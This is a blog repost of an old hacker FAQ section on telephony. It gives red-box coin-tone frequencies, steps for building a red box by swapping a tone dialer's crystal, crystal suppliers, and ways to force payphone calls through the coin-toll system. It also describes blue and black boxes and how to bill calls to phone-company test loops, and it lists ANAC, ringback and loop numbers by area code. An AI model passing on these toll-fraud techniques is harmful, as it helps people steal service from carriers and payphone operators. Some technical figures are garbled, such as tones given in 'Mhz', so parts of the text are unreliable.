Internet, Chatting and Gamers it's only fun

Refferensi hacking B 1-34

2009-05-27T14:00:00.000-07:00

U 01. What is a Red Box?
02. How do I build a Red Box?
03. Where can I get a 6.5536Mhz crystal?
04. Which payphones will a Red Box work on?
05. How do I make local calls with a Red Box?
06. What is a Blue Box?
07. Do Blue Boxes still work?
08. What is a Black Box?
09. What do all the colored boxes do?
10. What is an ANAC number?
U 11. What is the ANAC number for my area?
12. What is a ringback number?
U 13. What is the ringback number for my area?
14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
U 20. What is a Proctor Test Set?
U 21. What is a Proctor Test Set in my area?
22. What is scanning?
23. Is scanning illegal?
U 24. Where can I purchase a lineman's handset?
25. What are the DTMF frequencies?
26. What are the frequencies of the telephone tones?
U 27. What are all of the * (LASS) codes?
28. What frequencies do cordless phones operate on?
29. What is Caller-ID?
30. How do I block Caller-ID?
31. What is a PBX?
32. What is a VMB?
33. What are the ABCD tones for?
N 34. What are the International Direct Numbers?

Section B: Telephony

Section B: Telephony
~~~~~~~~~~~~~~~~~~~~

01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of
tones to ACTS (Automated Coin Toll System). Red boxes work by fooling
ACTS into believing you have actually put money into the phone. The
red box simply plays the ACTS tones into the telephone microphone.
ACTS hears those tones, and allows you to place your call. The actual
tones are:

Nickel Signal 1700+2200hz 0.060s on
Dime Signal 1700+2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal 1700+2200hz 33ms on, 33ms off, 5 times repeating

Canada uses a variant of ACTSD called N-ACTS. N-ACTS uses different
tones than ACTS. In Canada, the tones to use are:

Nickel Signal 2200hz 0.060s on
Dime Signal 2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal 2200hz 33ms on, 33ms off, 5 times repeating

02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open
the dialer and replace the crystal with a new one. The purpose of the
new crystal is to cause the * button on your tone dialer to create a
1700Mhz and 2200Mhz tone instead of the original 941Mhz and 1209Mhz
tones. The exact value of the replacement crystal should be 6.466806 to
create a perfect 1700Mhz tone and 6.513698 to create a perfect 2200mhz
tone. A crystal close to those values will create a tone that easily
falls within the loose tolerances of ACTS. The most popular choice is
the 6.5536Mhz crystal, because it is the easiest to procure. The old
crystal is the large shiny metal component labeled "3.579545Mhz." When
you are finished replacing the crystal, program the P1 button with five
*'s. That will simulate a quarter tone each time you press P1.

03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store. Radio Shack sells them, but
they are overpriced and the store must order them in. This takes
approximately two weeks. In addition, many Radio Shack employees do not
know that this can be done.

Or, you could order the crystal mail order. This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal. It's best to get several people together to share the S&H
cost. Or, buy five or six yourself and sell them later. Some of the
places you can order crystals are:

Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(800)344-4539
Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800)538-5000
Part Number: 6.5536MHZ

Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
(800)241-8742
Part Number: 10068625

Alltronics
2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057

Mouser
(800)346-6873
Part Number: 332-1066

Blue Saguaro
P.O. Box 37061
Tucson, AZ 85740
Part Number: 1458b

Unicorn Electronics
10000 Canoga Ave, Unit c-2
Chatsworth, CA 91311
Phone: 1-800-824-3432
Part Number: CR6.5

04. Which payphones will a Red Box work on?

Red Boxes will work on telco owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).

Red boxes work by fooling ACTS (Automated Coin Toll System) into
believing you have put money into the pay phone. ACTS is the
telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited.

COCOT's do not use ACTS. On a COCOT, the pay phone itself is
responsible for determining what coins have been inserted.

05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls. To use your red box for
local calls, you have to fool ACTS into getting involved in the call.

One way to do this, in some areas, is by dialing 10288-xxx-xxxx. This
makes your call a long distance call, and brings ACTS into the
picture.

In other areas, you can call Directory Assistance and ask for the
number of the person you are trying to reach. The operator will give
you the number and then you will hear a message similar to "Your call
can be completed automatically for an additional 35 cents." When this
happens, you can then use ACTS tones.

06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches
that use in-band signalling. The caller may then access special
switch functions, with the usual purpose of making free long distance
phone calls, using the tones provided by the Blue Box.

07. Do Blue Boxes still work?

This FAQ answer is excerpted from a message posted to Usenet by
Marauder of the Legion of Doom:

Somewhere along the line I have seen reference to something
similar to "Because of ESS Blue boxing is impossible". This is
incorrect. When I lived in Connecticut I was able to blue box
under Step by Step, #1AESS, and DMS-100. The reason is simple,
even though I was initiating my call to an 800 number from a
different exchange (Class 5 office, aka Central Office) in each
case, when the 800 call was routed to the toll network it would
route through the New Haven #5 Crossbar toll Tandem office. It
just so happens that the trunks between the class 5 (CO's) and
the class 4 (toll office, in this case New Haven #5 Xbar),
utilized in-band (MF) signalling, so regardless of what I
dialed, as long as it was an Inter-Lata call, my call would
route through this particular set of trunks, and I could Blue
box until I was blue in the face. The originating Central
Offices switch (SXS/ESS/Etc..) had little effect on my ability
to box at all. While the advent of ESS (and other electronic
switches) has made the blue boxers task a bit more difficult,
ESS is not the reason most of you are unable to blue box. The
main culprit is the "forward audio mute" feature of CCIS (out of
band signalling). Unfortunately for the boxer 99% of the Toll
Completion centers communicate using CCIS links, This spells
disaster for the blue boxer since most of you must dial out of
your local area to find trunks that utilize MF signalling, you
inevitably cross a portion of the network that is CCIS equipped,
you find an exchange that you blow 2600hz at, you are rewarded
with a nice "winkstart", and no matter what MF tones you send at
it, you meet with a re-order. This is because as soon as you
seized the trunk (your application of 2600hz), your Originating
Toll Office sees this as a loss of supervision at the
destination, and Mutes any further audio from being passed to
the destination (ie: your waiting trunk!). You meet with a
reorder because the waiting trunk never "hears" any of the MF
tones you are sending, and it times out. So for the clever
amongst you, you must somehow get yourself to the 1000's of
trunks out there that still utilize MF signalling but
bypass/disable the CCIS audio mute problem. (Hint: Take a close
look at WATS extenders).

08. What is a Black Box?

A Black Box is a resistor (and often capacitor in parallel) placed in
series across your phone line to cause the phone company equipment to be
unable to detect that you have answered your telephone. People who call
you will then not be billed for the telephone call. Black boxes do not
work under ESS.

09. What do all the colored boxes do?

Acrylic Steal Three-Way-Calling, Call Waiting and programmable
Call Forwarding on old 4-wire phone systems
Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
Beige Lineman's hand set
Black Allows the calling party to not be billed for the call
placed
Blast Phone microphone amplifier
Blotto Supposedly shorts every phone out in the immediate area
Blue Emulate a true operator by seizing a trunk with a 2600hz
tone
Brown Create a party line from 2 phone lines
Bud Tap into your neighbors phone line
Chartreuse Use the electricity from your phone line
Cheese Connect two phones to create a diverter
Chrome Manipulate Traffic Signals by Remote Control
Clear A telephone pickup coil and a small amp used to make free
calls on Fortress Phones
Color Line activated telephone recorder
Copper Cause crosstalk interference on an extender
Crimson Hold button
Dark Re-route outgoing or incoming calls to another phone
Dayglo Connect to your neighbors phone line
Diverter Re-route outgoing or incoming calls to another phone
DLOC Create a party line from 2 phone lines
Gold Dialout router
Green Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity Remotely activated phone tap
Jack Touch-Tone key pad
Light In-use light
Lunch AM transmitter
Magenta Connect a remote phone line to another remote phone line
Mauve Phone tap without cutting into a line
Neon External microphone
Noise Create line noise
Olive External ringer
Party Create a party line from 2 phone lines
Pearl Tone generator
Pink Create a party line from 2 phone lines
Purple Telephone hold button
Rainbow Kill a trace by putting 120v into the phone line (joke)
Razz Tap into your neighbors phone
Red Make free phone calls from pay phones by generating
quarter tones
Rock Add music to your phone line
Scarlet Cause a neighbors phone line to have poor reception
Silver Create the DTMF tones for A, B, C and D
Static Keep the voltage on a phone line high
Switch Add hold, indicator lights, conferencing, etc..
Tan Line activated telephone recorder
Tron Reverse the phase of power to your house, causing your
electric meter to run slower
TV Cable "See" sound waves on your TV
Urine Create a capacitative disturbance between the ring and
tip wires in another's telephone headset
Violet Keep a payphone from hanging up
White Portable DTMF keypad
Yellow Add an extension phone

Box schematics may be retrieved from these FTP sites:

ftp.netcom.com /pub/br/bradleym
ftp.netcom.com /pub/va/vandal
ftp.winternet.com /users/nitehwk

10. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone
number that plays back the number of the telephone that called it.
ANAC numbers are convenient if you want to know the telephone number
of a pair of wires.

11. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it. If that fails, try the
common numbers like 311, 958 and 200-222-2222. If you find the ANAC
number for your area, please let us know.

Note that many times the ANAC number will vary for different switches
in the same city. The geographic naming on the list is NOT intended
to be an accurate reference for coverage patterns, it is for
convenience only.

Many companies operate 800 number services which will read back to you
the number from which you are calling. Many of these require navigating
a series of menus to get the phone number you are looking for. Please
use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC
numbers.

N (800)425-6256 VRS Billing Systems/Integretel (800)4BLOCKME
(800)568-3197 Info Access Telephone Company's Automated Blocking Line
(800)692-6447 (800)MY-ANI-IS (Now protected by a passcode!)
N (800)858-9857 AT&T True Rewards

A non-800 ANAC that works nationwide is 404-988-9664. The one catch
with this number is that it must be dialed with the AT&T Carrier Access
Code 10732. Use of this number does not appear to be billed.

Note: These geographic areas are for reference purposes only. ANAC
numbers may vary from switch to switch within the same city.

NPA ANAC number Approximate Geographic area
--- --------------- ---------------------------------------------
201 958 Hackensack/Jersey City/Newark/Paterson, NJ
202 811 District of Columbia
203 970 CT
205 300-222-2222 Birmingham, AL
205 300-555-5555 Many small towns in AL
205 300-648-1111 Dora, AL
205 300-765-4321 Bessemer, AL
205 300-798-1111 Forestdale, AL
205 300-833-3333 Birmingham
205 557-2311 Birmingham, AL
205 811 Pell City/Cropwell/Lincoln, AL
205 841-1111 Tarrant, AL
205 908-222-2222 Birmingham, AL
206 411 WA (Not US West)
207 958 ME
209 830-2121 Stockton, CA
209 211-9779 Stockton, CA
210 830 Brownsville/Laredo/San Antonio, TX
N 210 951 Brownsville/Laredo/San Antonio, TX (GTE)
212 958 Manhattan, NY
213 114 Los Angeles, CA (GTE)
213 1223 Los Angeles, CA (Some 1AESS switches)
213 211-2345 Los Angeles, CA (English response)
213 211-2346 Los Angeles, CA (DTMF response)
213 760-2??? Los Angeles, CA (DMS switches)
213 61056 Los Angeles, CA
214 570 Dallas, TX
214 790 Dallas, TX (GTE)
214 970-222-2222 Dallas, TX
214 970-611-1111 Dallas, TX (Southwestern Bell)
215 410-xxxx Philadelphia, PA
215 511 Philadelphia, PA
215 958 Philadelphia, PA
216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH
217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
219 550 Gary/Hammond/Michigan City/Southbend, IN
219 559 Gary/Hammond/Michigan City/Southbend, IN
N 301 2002006969 Hagerstown/Rockville, MD
301 958-9968 Hagerstown/Rockville, MD
303 958 Aspen/Boulder/Denver/Durango/Grand Junction
/Steamboat Springs, CO
N 305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL
N 305 200200200200200 Ft. Lauderdale/Key West/Miami, FL
N 305 780-2411 Ft. Lauderdale/Key West/Miami, FL
310 114 Long Beach, CA (On many GTE switches)
310 1223 Long Beach, CA (Some 1AESS switches)
310 211-2345 Long Beach, CA (English response)
310 211-2346 Long Beach, CA (DTMF response)
312 200 Chicago, IL
312 290 Chicago, IL
312 1-200-8825 Chicago, IL (Last four change rapidly)
312 1-200-555-1212 Chicago, IL
313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
314 410-xxxx# Columbia/Jefferson City/St.Louis, MO
315 953 Syracuse/Utica, NY
315 958 Syracuse/Utica, NY
315 998 Syracuse/Utica, NY
317 310-222-2222 Indianapolis/Kokomo, IN
317 559-222-2222 Indianapolis/Kokomo, IN
317 743-1218 Indianapolis/Kokomo, IN
334 5572411 Montgomery, AL
334 5572311 Montgomery, AL
401 200-200-4444 RI
401 222-2222 RI
402 311 Lincoln, NE
404 311 Atlanta, GA
N 770 780-2311 Atlanta, GA
404 940-xxx-xxxx Atlanta, GA
404 990 Atlanta, GA
405 890-7777777 Enid/Oklahoma City, OK
405 897 Enid/Oklahoma City, OK
U 407 200-222-2222 Orlando/West Palm Beach, FL (Bell South)
N 407 520-3111 Orlando/West Palm Beach, FL (United)
408 300-xxx-xxxx San Jose, CA
408 760 San Jose, CA
408 940 San Jose, CA
409 951 Beaumont/Galveston, TX
409 970-xxxx Beaumont/Galveston, TX
410 200-6969 Annapolis/Baltimore, MD
N 410 200-200-6969 Annapolis/Baltimore, MD
410 200-555-1212 Annapolis/Baltimore, MD
410 811 Annapolis/Baltimore, MD
412 711-6633 Pittsburgh, PA
412 711-4411 Pittsburgh, PA
412 999-xxxx Pittsburgh, PA
413 958 Pittsfield/Springfield, MA
413 200-555-5555 Pittsfield/Springfield, MA
414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 200-555-1212 San Francisco, CA
415 211-2111 San Francisco, CA
415 2222 San Francisco, CA
415 640 San Francisco, CA
415 760-2878 San Francisco, CA
415 7600-2222 San Francisco, CA
419 311 Toledo, OH
N 423 200-200-200 Chatanooga, Johnson City, Knoxville , TN
N 501 511 AR
502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY
502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY
503 611 Portland, OR
503 999 Portland, OR (GTE)
504 99882233 Baton Rouge/New Orleans, LA
504 201-269-1111 Baton Rouge/New Orleans, LA
504 998 Baton Rouge/New Orleans, LA
504 99851-0000000000 Baton Rouge/New Orleans, LA
508 958 Fall River/New Bedford/Worchester, MA
508 200-222-1234 Fall River/New Bedford/Worchester, MA
508 200-222-2222 Fall River/New Bedford/Worchester, MA
508 26011 Fall River/New Bedford/Worchester, MA
509 560 Spokane/Walla Walla/Yakima, WA
510 760-1111 Oakland, CA
512 830 Austin/Corpus Christi, TX
512 970-xxxx Austin/Corpus Christi, TX
N 513 380-55555555 Cincinnati/Dayton, OH
515 5463 Des Moines, IA
515 811 Des Moines, IA
516 958 Hempstead/Long Island, NY
516 968 Hempstead/Long Island, NY
517 200-222-2222 Bay City/Jackson/Lansing, MI
517 200200200200200 Bay City/Jackson/Lansing, MI
518 511 Albany/Schenectady/Troy, NY
518 997 Albany/Schenectady/Troy, NY
518 998 Albany/Schenectady/Troy, NY
N 540 211 Roanoke, VA (GTE)
N 540 311 Roanoke, VA (GTE)
N 541 200 Bend, OR
603 200-222-2222 NH
606 997-555-1212 Ashland/Winchester, KY
606 711 Ashland/Winchester, KY
607 993 Binghamton/Elmira, NY
609 958 Atlantic City/Camden/Trenton/Vineland, NJ
610 958 Allentown/Reading, PA
610 958-4100 Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
614 200 Columbus/Steubenville, OH
614 571 Columbus/Steubenville, OH
615 200200200200200 Chatanooga/Knoxville/Nashville, TN
615 2002222222 Chatanooga/Knoxville/Nashville, TN
615 830 Nashville, TN
616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI
617 200-222-1234 Boston, MA
617 200-222-2222 Boston, MA
617 200-444-4444 Boston, MA (Woburn, MA)
617 220-2622 Boston, MA
617 958 Boston, MA
618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
618 930 Alton/Cairo/Mt.Vernon, IL
619 211-2001 San Diego, CA
619 211-2121 San Diego, CA
N 659 220-2622 Newmarket, NH
N 703 211 VA
N 703 511-3636 Culpeper/Orange/Fredericksburg, VA
703 811 Alexandria/Arlington/Roanoke, VA
704 311 Asheville/Charlotte, NC
N 706 940-xxxx Augusta, GA
707 211-2222 Eureka, CA
708 1-200-555-1212 Chicago/Elgin, IL
708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)
708 200-6153 Chicago/Elgin, IL
708 724-9951 Chicago/Elgin, IL
713 380 Houston, TX
713 970-xxxx Houston, TX
713 811 Humble, TX
N 713 380-5555-5555 Houston, TX
714 114 Anaheim, CA (GTE)
714 211-2121 Anaheim, CA (PacBell)
714 211-2222 Anaheim, CA (Pacbell)
N 714 211-7777 Anaheim, CA (Pacbell)
716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717 958 Harrisburg/Scranton/Wilkes-Barre, PA
718 958 Bronx/Brooklyn/Queens/Staten Island, NY
N 770 940-xxx-xxxx Marietta/Norcross, GA
N 770 780-2311 Marietta/Norcross, GA
802 2-222-222-2222 Vermont
802 200-222-2222 Vermont
802 1-700-222-2222 Vermont
802 111-2222 Vermont
N 804 990 Virginia Beach, VA
805 114 Bakersfield/Santa Barbara, CA
805 211-2345 Bakersfield/Santa Barbara, CA
805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)
805 830 Bakersfield/Santa Barbara, CA
806 970-xxxx Amarillo/Lubbock, TX
810 200200200200200 Flint/Pontiac/Southfield/Troy, MI
N 810 311 Pontiac/Southfield/Troy, MI
812 410-555-1212 Evansville, IN
813 311 Ft. Meyers/St. Petersburg/Tampa, FL
N 815 200-3374 Crystal Lake, IL
N 815 270-3374 Crystal Lake, IL
N 815 770-3374 Crystal Lake, IL
815 200-xxx-xxxx La Salle/Rockford, IL
815 290 La Salle/Rockford, IL
817 211 Ft. Worth/Waco, TX
817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)
818 1223 Pasadena, CA (Some 1AESS switches)
818 211-2345 Pasadena, CA (English response)
818 211-2346 Pasadena, CA (DTMF response)
N 860 970 CT
903 970-611-1111 Tyler, TX
904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL
906 1-200-222-2222 Marquette/Sault Ste. Marie, MI
907 811 AK
908 958 New Brunswick, NJ
N 909 111 Riverside/San Bernardino, CA (GTE)
910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915 970-xxxx Abilene/El Paso, TX
N 916 211-0007 Sacramento, CA (Pac Bell)
916 461 Sacramento, CA (Roseville Telephone)
919 200 Durham, NC
919 711 Durham, NC
N 954 200-555-1212 Ft. Lauderdale, FL
N 954 200200200200200 Ft. Lauderdale, FL
N 954 780-2411 Ft. Lauderdale, FL

Canada:
204 644-4444 Manitoba
306 115 Saskatchewan
403 311 Alberta, Yukon and N.W. Territory
403 908-222-2222 Alberta, Yukon and N.W. Territory
403 999 Alberta, Yukon and N.W. Territory
416 997-xxxx Toronto, Ontario
506 1-555-1313 New Brunswick
514 320-xxxx Montreal, Quebec
U 514 320-1232 Montreal, Quebec
U 514 320-1223 Montreal, Quebec
U 514 320-1233 Montreal, Quebec
519 320-xxxx London, Ontario
604 1116 British Columbia
604 1211 British Columbia
604 211 British Columbia
613 320-2232 Ottawa, Ontario
705 320-4567 North Bay/Saulte Ste. Marie, Ontario
N 819 320-1112 Quebec

Australia:
+61 03-552-4111 Victoria 03 area
+612 19123 All major capital cities
+612 11544

United Kingdom:
175

Israel:
110

12. What is a ringback number?

A ringback number is a number that you call that will immediately
ring the telephone from which it was called.

In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone. You may then
hang up. You will be called back seconds later.

13. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you
are calling. A '?' means that the number varies from switch to switch
in the area, or changes from time to time. Try all possible
combinations.

If the ringback for your NPA is not listed, try common ones such as 114,
951-xxx-xxxx, 954, 957 and 958. Also, try using the numbers listed for
other NPA's served by your telephone company.

Note: These geographic areas are for reference purposes only. Ringback
numbers may vary from switch to switch within the same city.

NPA Ringback number Approximate Geographic area
--- --------------- ---------------------------------------------
201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ
202 958-xxxx District of Columbia
203 99?-xxxx CT
206 571-xxxx WA
N 208 59X-xxxx ID
208 99xxx-xxxx ID
N 210 211-8849-xxxx Brownsville/Laredo/San Antonio, TX (GTE)
213 1-95x-xxxx Los Angeles, CA
N 214 971-xxxx Dallas, TX
215 811-xxxx Philadelphia, PA
216 551-xxxx Akron/Canton/Cleveland/Lorain/Youngstown, OH
219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
301 579-xxxx Hagerstown/Rockville, MD
301 958-xxxx Hagerstown/Rockville, MD
303 99X-xxxx Grand Junction, CO
304 998-xxxx WV
305 999-xxxx Ft. Lauderdale/Key West/Miami, FL
312 511-xxxx Chicago, IL
312 511-xxx-xxxx Chicago, IL
312 57?-xxxx Chicago, IL
315 98x-xxxx Syracuse/Utica, NY
317 777-xxxx Indianapolis/Kokomo, IN
317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number)
319 79x-xxxx Davenport/Dubuque, Iowa
334 901-xxxx Montgomery, AL
401 98?-xxxx RI
404 450-xxxx Atlanta, GA
407 988-xxxx Orlando/West Palm Beach, FL
408 470-xxxx San Jose, CA
408 580-xxxx San Jose, CA
412 985-xxxx Pittsburgh, PA
414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 350-xxxx San Francisco, CA
417 551-xxxx Joplin/Springfield, MO
501 221-xxx-xxxx AR
501 721-xxx-xxxx AR
502 988 Frankfort/Louisville/Paducah/Shelbyville, KY
503 541-XXXX OR
504 99x-xxxx Baton Rouge/New Orleans, LA
504 9988776655 Baton Rouge/New Orleans, LA
505 59?-xxxx New Mexico
512 95X-xxxx Austin, TX
513 951-xxxx Cincinnati/Dayton, OH
513 955-xxxx Cincinnati/Dayton, OH
513 99?-xxxx Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)
N 515 559-XXXX Des Moines, IA
516 660-xxx-xxxx Hempstead/Long Island, NY
601 777-xxxx MS
609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ
610 811-xxxx Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
612 999-xxx-xxxx Minneapolis/St.Paul, MN
N 613 999-xxx-xxxx Ottawa, Ontario
614 998-xxxx Columbus/Steubenville, OH
615 920-XXXX Chatanooga/Knoxville/Nashville, TN
615 930-xxxx Chatanooga/Knoxville/Nashville, TN
616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI
619 331-xxxx San Diego, CA
619 332-xxxx San Diego, CA
N 659 981-XXXX Newmarket, NH
N 703 511-xxx-xxxx VA
703 958-xxxx Alexandria/Arlington/Roanoke, VA
708 511-xxxx Chicago/Elgin, IL
N 713 231-xxxx Los Angeles, CA
714 330? Anaheim, CA (GTE)
714 33?-xxxx Anaheim, CA (PacBell)
716 981-xxxx Rochester, NY (Rochester Tel)
718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY
719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO
801 938-xxxx Utah
801 939-xxxx Utah
802 987-xxxx Vermont
804 260 Charlottesville/Newport News/Norfolk/Richmond, VA
805 114 Bakersfield/Santa Barbara, CA
805 980-xxxx Bakersfield/Santa Barbara, CA
810 951-xxx-xxxx Pontiac/Southfield/Troy, MI
813 711 Ft. Meyers/St. Petersburg/Tampa, FL
817 971 Ft. Worth/Waco, TX (Flashhook, then 2#)
906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI
908 55?-xxxx New Brunswick, NJ
908 953 New Brunswick, NJ
913 951-xxxx Lawrence/Salina/Topeka, KS
914 660-xxxx-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY

Canada:
204 590-xxx-xxxx Manitoba
416 57x-xxxx Toronto, Ontario
416 99x-xxxx Toronto, Ontario
416 999-xxx-xxxx Toronto, Ontario
506 572+xxx-xxxx New Brunswick
514 320-xxx-xxxx Montreal, Quebec
519 999-xxx-xxxx London, Ontario
N 604 311-xxx-xxxx British Columbia
613 999-xxx-xxxx Ottawa, Ontario
705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario
N 819 320-xxx-xxxx Quebec
N 905 999-xxx-xxxx Hamilton/Mississauga/Niagra Falls, Ontario

Australia: +61 199
Brazil: 109 or 199
N France: 3644
Holland: 99-xxxxxx
New Zealand: 137
Sweden: 0058
United Kingdom: 174 or 1744 or 175 or 0500-89-0011
N Amsterdam 0196
N Hilversum 0123456789
N Breukelen 0123456789
N Groningen 951

14. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999. They are used by the phone company for testing. What
good do loops do us? Well, they are cool in a few ways. Here is a
simple use of loops. Each loop has two ends, a 'high' end, and a
'low' end. One end gives a (usually) constant, loud tone when it is
called. The other end is silent. Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop. Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you. Here's
what you can use working loops for: billing phone calls! First, call
the end that gives the loud tone. Then if the operator or someone
calls the other end, the tone will go quiet. Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever. The operator thinks that she just called you, and
that's it! Now the phone bill will go to the loop, and your local
RBOC will get the bill! Use this technique in moderation, or the loop
may go down. Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.

15. What is a loop in my area?

Many of these loops are no longer functional. If you are local
to any of these loops, please try them out an e-mail me the results
of your research.

NPA High Low
--- -------- --------
201 666-9929 666-9930
208 862-9996 862-9997
209 732-0044 732-0045
201 666-9929 666-9930
213 360-1118 360-1119
213 365-1118 365-1119
213 455-0002 455-XXXX
213 455-0002 455-xxxx
213 546-0002 546-XXXX
213 546-0002 546-xxxx
213 549-1118 549-1119
305 964-9951 964-9952
307 468-9999 468-9998
308 357-0004 357-0005
312 262-9902 262-9903
313 224-9996 224-9997
313 225-9996 225-9997
313 234-9996 234-9997
313 237-9996 237-9997
313 256-9996 256-9997
313 272-9996 272-9997
313 273-9996 273-9997
313 277-9996 277-9997
313 281-9996 281-9997
313 292-9996 292-9997
313 299-9996 299-9997
313 321-9996 321-9997
313 326-9996 326-9997
313 356-9996 356-9997
313 362-9996 362-9997
313 369-9996 369-9997
313 388-9996 388-9997
313 397-9996 397-9997
313 399-9996 399-9997
313 445-9996 445-9997
313 465-9996 465-9997
313 471-9996 471-9997
313 474-9996 474-9997
313 477-9996 477-9997
313 478-9996 478-9997
313 483-9996 483-9997
313 497-9996 497-9997
313 526-9996 526-9997
313 552-9996 552-9997
313 556-9996 556-9997
313 561-9996 561-9997
313 569-9996 569-9996
313 575-9996 575-9997
313 577-9996 577-9997
313 585-9996 585-9997
313 591-9996 591-9997
313 621-9996 621-9997
313 626-9996 626-9997
313 644-9996 644-9997
313 646-9996 646-9997
313 647-9996 647-9997
313 649-9996 649-9997
313 663-9996 663-9997
313 665-9996 665-9997
313 683-9996 683-9997
313 721-9996 721-9997
313 722-9996 722-9997
313 728-9996 728-9997
313 731-9996 731-9997
313 751-9996 751-9997
313 776-9996 776-9997
313 781-9996 781-9997
313 787-9996 787-9997
313 822-9996 822-9997
313 833-9996 833-9997
313 851-9996 851-9997
313 871-9996 871-9997
313 875-9996 875-9997
313 886-9996 886-9997
313 888-9996 888-9997
313 898-9996 898-9997
313 934-9996 934-9997
313 942-9996 942-9997
313 963-9996 963-9997
313 977-9996 977-9997
315 673-9995 673-9996
315 695-9995 695-9996
402 422-0001 422-0002
402 422-0003 422-0004
402 422-0005 422-0006
402 422-0007 422-0008
402 572-0003 572-0004
402 779-0004 779-0007
406 225-9902 225-9903
N 408 238-0044 238-0045
N 408 272-0044 272-0045
N 408 729-0044 729-0045
N 408 773-0044 773-0045
N 408 926-0044 926-0045
517 422-9996 422-9997
517 423-9996 423-9997
517 455-9996 455-9997
517 563-9996 563-9997
517 663-9996 663-9997
517 851-9996 851-9997
609 921-9929 921-9930
609 994-9929 994-9930
613 966-1111
616 997-9996 997-9997
708 724-9951 724-????
713 224-1499 759-1799
713 324-1499 324-1799
713 342-1499 342-1799
713 351-1499 351-1799
713 354-1499 354-1799
713 356-1499 356-1799
713 442-1499 442-1799
713 447-1499 447-1799
713 455-1499 455-1799
713 458-1499 458-1799
713 462-1499 462-1799
713 466-1499 466-1799
713 468-1499 468-1799
713 469-1499 469-1799
713 471-1499 471-1799
713 481-1499 481-1799
713 482-1499 482-1799
713 484-1499 484-1799
713 487-1499 487-1799
713 489-1499 489-1799
713 492-1499 492-1799
713 493-1499 493-1799
713 524-1499 524-1799
713 526-1499 526-1799
713 555-1499 555-1799
713 661-1499 661-1799
713 664-1499 664-1799
713 665-1499 665-1799
713 666-1499 666-1799
713 667-1499 667-1799
713 682-1499 976-1799
